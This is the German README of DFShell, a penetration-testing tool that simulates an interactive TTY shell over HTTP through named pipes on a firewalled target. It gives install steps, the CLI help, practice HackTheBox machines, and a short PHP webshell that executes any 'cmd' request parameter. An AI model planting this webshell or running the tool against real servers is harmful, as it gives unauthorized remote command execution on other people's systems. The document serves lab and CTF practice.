
Python-basiertes Forward-Shell-Tool, das eine TTY-ähnliche interaktive Shell über HTTP mithilfe von Named Pipes erstellt und so die Befehlsausführung auf durch Firewalls geschützten Zielen ohne dauerhafte Netzwerkverbindungen ermöglicht.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext's Forward Shell ist ein Python3-Skript, das mkfifo verwendet, um eine Shell auf dem Opferrechner zu simulieren. Es erstellt ein verstecktes Verzeichnis in /dev/shm/.fs/, in dem die Fifos gespeichert werden. Du kannst sogar ein TTY über die Webshell simulieren.
Diese Forward-Shell erstellt eine Shell, die Befehle über eine Named Pipe (mkfifo) entgegennimmt und die Ergebnisse in eine Datei ausgibt. Dadurch benötigt die Shell keine dauerhafte Netzwerkverbindung, sodass du ein ordentliches TTY hinter einer Firewall einrichten kannst, die Reverse-/Bind-Shells blockiert.
Von der Quelle installieren
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Mit pip installieren
pip3 install dfshell
DFShell bietet eine Vielzahl von CLI-Parametern zur verbesserten Konfiguration der Forward-Shell.
Hilfspanel
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Es sendet GET-Anfragen an die angegebene URL, daher sollte die Webshell etwa so aussehen:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Getestet auf Parrot OS mit einem Apache-Server
Wenn du dieses Tool in kontrollierten Umgebungen testen möchtest, findest du hier eine Liste von HackTheBox-Maschinen, auf denen Firewall-Regeln auf dem Webserver angewendet werden, sodass die Forward-Shell eine großartige Alternative ist, um direkt zur Privilegienausweitung überzugehen.
Dank an @ippsec für diese großartige Technik
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Siehe CONTRIBUTING.md
Siehe CHANGELOG.md
Dieses Projekt steht unter der MIT-Lizenz
Copyright © 2023, D3Ext